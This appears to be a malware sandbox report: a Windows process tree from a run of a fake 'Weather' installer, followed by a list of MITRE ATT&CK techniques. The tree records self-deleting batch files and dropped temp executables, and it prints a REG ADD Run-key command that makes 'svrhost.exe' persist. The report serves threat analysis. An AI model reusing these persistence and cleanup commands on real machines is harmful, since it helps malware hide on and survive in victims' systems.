C:\Windows\system32\msiexec.exe /V
1⤵
PID:4332
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 56DDD05EDB50176CE59FF00FC05DEFEF C
  2⤵
  PID:5032
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding D59DBDEE8107FC46123D4300FAAE42C5
  2⤵
  PID:6992
- C:\Users\Admin\AppData\Roaming\Weather\Weather\prerequisites\aipackagechainer.exe
  "C:\Users\Admin\AppData\Roaming\Weather\Weather\prerequisites\aipackagechainer.exe"
  2⤵
  PID:12668
- - C:\Users\Admin\AppData\Roaming\Weather\Weather\prerequisites\RequiredApplication_1\Weather_Installation.exe
    "C:\Users\Admin\AppData\Roaming\Weather\Weather\prerequisites\RequiredApplication_1\Weather_Installation.exe" -silent=1 -AF=756 -BF=default -uncf=default
    3⤵
    PID:5184
  - - C:\Users\Admin\AppData\Roaming\Weather\Weather.exe
      "C:\Users\Admin\AppData\Roaming\Weather\Weather.exe" "--anbfs"
      4⤵
      PID:8044
    - - C:\Users\Admin\AppData\Roaming\Weather\Weather.exe
        
        C:\Users\Admin\AppData\Roaming\Weather\Weather.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Weather\User Data" /prefetch:7 --monitor-self --monitor-self-argument=--type=crashpad-handler "--monitor-self-argument=--user-data-dir=C:\Users\Admin\AppData\Local\Weather\User Data" --monitor-self-argument=/prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Weather\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Weather\User Data" --annotation=plat=Win64 --annotation=prod=Weather --annotation=ver=0.0.2 --initial-client-data=0x204,0x208,0x20c,0x19c,0x210,0x7ff941d19ec0,0x7ff941d19ed0,0x7ff941d19ee0
        5⤵
        
        PID:8944
      - C:\Users\Admin\AppData\Roaming\Weather\Weather.exe
        
        C:\Users\Admin\AppData\Roaming\Weather\Weather.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Weather\User Data" /prefetch:7 --no-periodic-tasks --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Weather\User Data\Crashpad" --annotation=plat=Win64 --annotation=prod=Weather --annotation=ver=0.0.2 --initial-client-data=0x138,0x13c,0x140,0x114,0x88,0x7ff6bb3c4e60,0x7ff6bb3c4e70,0x7ff6bb3c4e80
        6⤵
        
        PID:8148
    - - C:\Users\Admin\AppData\Roaming\Weather\Weather.exe
        
        "C:\Users\Admin\AppData\Roaming\Weather\Weather.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1704,16894715977730289150,1041123304533019924,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --enable-audio-service-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Weather\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8044_1705293112" --mojo-platform-channel-handle=2156 /prefetch:8
        5⤵
        
        PID:5668
    - - C:\Users\Admin\AppData\Roaming\Weather\Weather.exe
        
        "C:\Users\Admin\AppData\Roaming\Weather\Weather.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1704,16894715977730289150,1041123304533019924,131072 --lang=en-US --service-sandbox-type=network --no-sandbox --enable-audio-service-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Weather\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8044_1705293112" --mojo-platform-channel-handle=1768 /prefetch:8
        5⤵
        
        PID:8596
    - - C:\Users\Admin\AppData\Roaming\Weather\Weather.exe
        
        "C:\Users\Admin\AppData\Roaming\Weather\Weather.exe" --type=gpu-process --field-trial-handle=1704,16894715977730289150,1041123304533019924,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Weather\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8044_1705293112" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1720 /prefetch:2
        5⤵
        
        PID:8852
    - - C:\Users\Admin\AppData\Roaming\Weather\Weather.exe
        
        "C:\Users\Admin\AppData\Roaming\Weather\Weather.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Weather\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1704,16894715977730289150,1041123304533019924,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Weather\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8044_1705293112" --nwjs --extension-process --enable-auto-reload --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --mojo-platform-channel-handle=2560 /prefetch:1
        5⤵
        
        PID:9780
    - - C:\Users\Admin\AppData\Roaming\Weather\Weather.exe
        
        "C:\Users\Admin\AppData\Roaming\Weather\Weather.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1704,16894715977730289150,1041123304533019924,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --enable-audio-service-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Weather\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8044_1705293112" --mojo-platform-channel-handle=2944 /prefetch:8
        5⤵
        
        PID:9516
    - - C:\Users\Admin\AppData\Roaming\Weather\Weather.exe
        
        "C:\Users\Admin\AppData\Roaming\Weather\Weather.exe" --type=gpu-process --field-trial-handle=1704,16894715977730289150,1041123304533019924,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Weather\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8044_1705293112" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=2992 /prefetch:2
        5⤵
        
        PID:12004
    - - C:\Users\Admin\AppData\Roaming\Weather\Weather.exe
        
        "C:\Users\Admin\AppData\Roaming\Weather\Weather.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1704,16894715977730289150,1041123304533019924,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --enable-audio-service-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Weather\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8044_1705293112" --mojo-platform-channel-handle=3284 /prefetch:8
        5⤵
        
        PID:8704
    - - C:\Users\Admin\AppData\Roaming\Weather\Weather.exe
        
        "C:\Users\Admin\AppData\Roaming\Weather\Weather.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1704,16894715977730289150,1041123304533019924,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --enable-audio-service-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Weather\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8044_1705293112" --mojo-platform-channel-handle=3340 /prefetch:8
        5⤵
        
        PID:6544
    - - C:\Users\Admin\AppData\Roaming\Weather\Weather.exe
        
        "C:\Users\Admin\AppData\Roaming\Weather\Weather.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1704,16894715977730289150,1041123304533019924,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --enable-audio-service-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Weather\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8044_1705293112" --mojo-platform-channel-handle=3304 /prefetch:8
        5⤵
        
        PID:7692
    - - C:\Users\Admin\AppData\Roaming\Weather\Weather.exe
        
        "C:\Users\Admin\AppData\Roaming\Weather\Weather.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1704,16894715977730289150,1041123304533019924,131072 --lang=en-US --service-sandbox-type=utility --no-sandbox --enable-audio-service-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Weather\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8044_1705293112" --mojo-platform-channel-handle=3364 /prefetch:8
        5⤵
        
        PID:10464
    - - C:\Users\Admin\AppData\Roaming\Weather\Weather.exe
        
        "C:\Users\Admin\AppData\Roaming\Weather\Weather.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1704,16894715977730289150,1041123304533019924,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --enable-audio-service-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Weather\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8044_1705293112" --mojo-platform-channel-handle=3084 /prefetch:8
        5⤵
        
        PID:7540
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\EXEF5DD.bat" "
    3⤵
    PID:7432
  - - C:\Windows\SysWOW64\attrib.exe
      C:\Windows\System32\attrib.exe -r "C:\Users\Admin\AppData\Roaming\Weather\Weather\PREREQ~1"
      4⤵
      Views/modifies file attributes
      PID:3844
  - - C:\Windows\SysWOW64\timeout.exe
      C:\Windows\System32\timeout.exe 5
      4⤵
      Delays execution with timeout.exe
      PID:4172
  - - C:\Windows\SysWOW64\timeout.exe
      C:\Windows\System32\timeout.exe 5
      4⤵
      Delays execution with timeout.exe
      PID:11032
  - - C:\Windows\SysWOW64\attrib.exe
      C:\Windows\System32\attrib.exe -r "C:\Users\Admin\AppData\Local\Temp\EXEF5DD.bat"
      4⤵
      Views/modifies file attributes
      PID:11112
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" del "C:\Users\Admin\AppData\Local\Temp\EXEF5DD.bat" "
      4⤵
      PID:11796
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" cls"
      4⤵
      PID:5868
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\EXEF4D2.bat" "
    3⤵
    PID:7320
  - - C:\Windows\SysWOW64\attrib.exe
      C:\Windows\System32\attrib.exe -r "C:\Users\Admin\AppData\Roaming\Weather\Weather\PREREQ~1\AIPACK~1.EXE"
      4⤵
      Views/modifies file attributes
      PID:3420
  - - C:\Windows\SysWOW64\timeout.exe
      C:\Windows\System32\timeout.exe 5
      4⤵
      Delays execution with timeout.exe
      PID:8180
  - - C:\Windows\SysWOW64\attrib.exe
      C:\Windows\System32\attrib.exe -r "C:\Users\Admin\AppData\Local\Temp\EXEF4D2.bat"
      4⤵
      Views/modifies file attributes
      PID:10892
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" del "C:\Users\Admin\AppData\Local\Temp\EXEF4D2.bat" "
      4⤵
      PID:10148
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" cls"
      4⤵
      PID:1820

C:\Windows\system32\werfault.exe
werfault.exe /h /shared Global\a93e18bf25dc44118afa8cfaf467e8d9 /t 2516 /p 2552
1⤵
PID:4236

C:\Windows\explorer.exe
explorer.exe
1⤵
PID:6364
- C:\Users\Admin\AppData\Local\Temp\C952.exe
  C:\Users\Admin\AppData\Local\Temp\C952.exe
  2⤵
  PID:12336
- C:\Users\Admin\AppData\Local\Temp\CF7D.exe
  C:\Users\Admin\AppData\Local\Temp\CF7D.exe
  2⤵
  PID:692
- C:\Users\Admin\AppData\Local\Temp\FD55.exe
  C:\Users\Admin\AppData\Local\Temp\FD55.exe
  2⤵
  PID:8328
- C:\Users\Admin\AppData\Local\Temp\1BDA.exe
  C:\Users\Admin\AppData\Local\Temp\1BDA.exe
  2⤵
  PID:10060
- - C:\Windows\SysWOW64\cmd.exe
    "cmd.exe" /c REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "svrhost" /t REG_SZ /d "C:\Users\Admin\AppData\Local\svrhost.exe"
    3⤵
    PID:5168
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "svrhost" /t REG_SZ /d "C:\Users\Admin\AppData\Local\svrhost.exe"
      4⤵
      PID:9264
- - C:\Users\Admin\AppData\Local\svrhost.exe
    "C:\Users\Admin\AppData\Local\svrhost.exe"
    3⤵
    PID:7024
  - - C:\Users\Admin\AppData\Local\Temp\AddInProcess32.exe
      "C:\Users\Admin\AppData\Local\Temp\AddInProcess32.exe"
      4⤵
      PID:1424
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1424 -s 196
        5⤵
        Program crash
        
        PID:5492
  - - C:\Users\Admin\AppData\Local\Temp\svrhost.exe
      "C:\Users\Admin\AppData\Local\Temp\svrhost.exe"
      4⤵
      PID:10308
    - - C:\Users\Admin\AppData\Local\Temp\svrhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svrhost.exe"
        5⤵
        
        PID:9856
      - C:\Users\Admin\AppData\Local\Temp\svrhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svrhost.exe"
        6⤵
        
        PID:10648
  - - C:\Users\Admin\AppData\Local\Temp\svrhost.exe
      "C:\Users\Admin\AppData\Local\Temp\svrhost.exe"
      4⤵
      PID:10804
- C:\Windows\SysWOW64\explorer.exe
  C:\Windows\SysWOW64\explorer.exe
  2⤵
  PID:5500
- C:\Windows\explorer.exe
  C:\Windows\explorer.exe
  2⤵
  PID:10956
- C:\Windows\SysWOW64\explorer.exe
  C:\Windows\SysWOW64\explorer.exe
  2⤵
  PID:11164
- C:\Windows\explorer.exe
  C:\Windows\explorer.exe
  2⤵
  PID:8040
- C:\Windows\SysWOW64\explorer.exe
  C:\Windows\SysWOW64\explorer.exe
  2⤵
  PID:11820
- C:\Windows\explorer.exe
  C:\Windows\explorer.exe
  2⤵
  PID:11460
- C:\Windows\SysWOW64\explorer.exe
  C:\Windows\SysWOW64\explorer.exe
  2⤵
  PID:5716
- C:\Windows\explorer.exe
  C:\Windows\explorer.exe
  2⤵
  PID:12820
- C:\Windows\SysWOW64\explorer.exe
  C:\Windows\SysWOW64\explorer.exe
  2⤵
  PID:8584

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k dcomlaunch -s DeviceInstall
1⤵
PID:13132
- C:\Windows\system32\DrvInst.exe
  DrvInst.exe "4" "0" "C:\Users\Admin\AppData\Local\Temp\{24aa1dfe-bd0a-7842-9b5b-5c23e29aab70}\oemvista.inf" "9" "4d14a44ff" "0000000000000174" "WinSta0\Default" "000000000000016C" "208" "c:\program files (x86)\maskvpn\driver\win764"
  2⤵
  PID:6624
- C:\Windows\system32\DrvInst.exe
  DrvInst.exe "2" "211" "ROOT\NET\0000" "C:\Windows\INF\oem2.inf" "oemvista.inf:3beb73aff103cc24:tap0901.ndi:9.0.0.21:tap0901," "4d14a44ff" "000000000000012C"
  2⤵
  PID:7796

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s NetSetupSvc
1⤵
PID:4360

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s DsmSvc
1⤵
PID:5352

C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe
"C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe" -ServerName:App.AppXtk181tbxbce2qsex02s8tw7hfxa9xb3t.mca
1⤵
PID:9424

C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe
"C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe" -ServerName:CortanaUI.AppXa50dqqa5gqv4a428c9y1jjw7m3btvepj.mca
1⤵
PID:8896

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s seclogon
1⤵
PID:11580

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4796

C:\Program Files (x86)\MaskVPN\mask_svc.exe
"C:\Program Files (x86)\MaskVPN\mask_svc.exe"
1⤵
PID:3208
- C:\Program Files (x86)\MaskVPN\MaskVPNUpdate.exe
  MaskVPNUpdate.exe /silent
  2⤵
  PID:6308

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
1⤵
PID:13104

C:\Windows\system32\browser_broker.exe
C:\Windows\system32\browser_broker.exe -Embedding
1⤵
PID:9220

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:11396

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:11180

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:3316
- C:\Windows\system32\WerFault.exe
  C:\Windows\system32\WerFault.exe -u -p 3316 -s 2100
  2⤵
  - Program crash
  PID:11904

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:10900

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:7676

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:2140

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
1⤵
PID:3388

C:\Windows\system32\browser_broker.exe
C:\Windows\system32\browser_broker.exe -Embedding
1⤵
PID:11976

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
1⤵
PID:5908

C:\Windows\system32\browser_broker.exe
C:\Windows\system32\browser_broker.exe -Embedding
1⤵
PID:8028

C:\Windows\system32\werfault.exe
werfault.exe /h /shared Global\f87629525daa4070a5f8068af1298ee7 /t 6256 /p 5908
1⤵
PID:13040

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
1⤵
PID:10516

C:\Windows\system32\browser_broker.exe
C:\Windows\system32\browser_broker.exe -Embedding
1⤵
PID:8716

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:7040

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:11028

C:\Windows\system32\werfault.exe
werfault.exe /h /shared Global\58e40fa755bc4cc6bf8f300dafc6c72b /t 12924 /p 7040
1⤵
PID:8708

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:7768

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Hidden Files and Directories

T1158

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Hidden Files and Directories

T1158

Install Root Certificate

T1130

Modify Registry

Web Service

T1102

Credential Access

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Query Registry

Remote System Discovery

T1018

Security Software Discovery

T1063

Software Discovery

T1518

System Information Discovery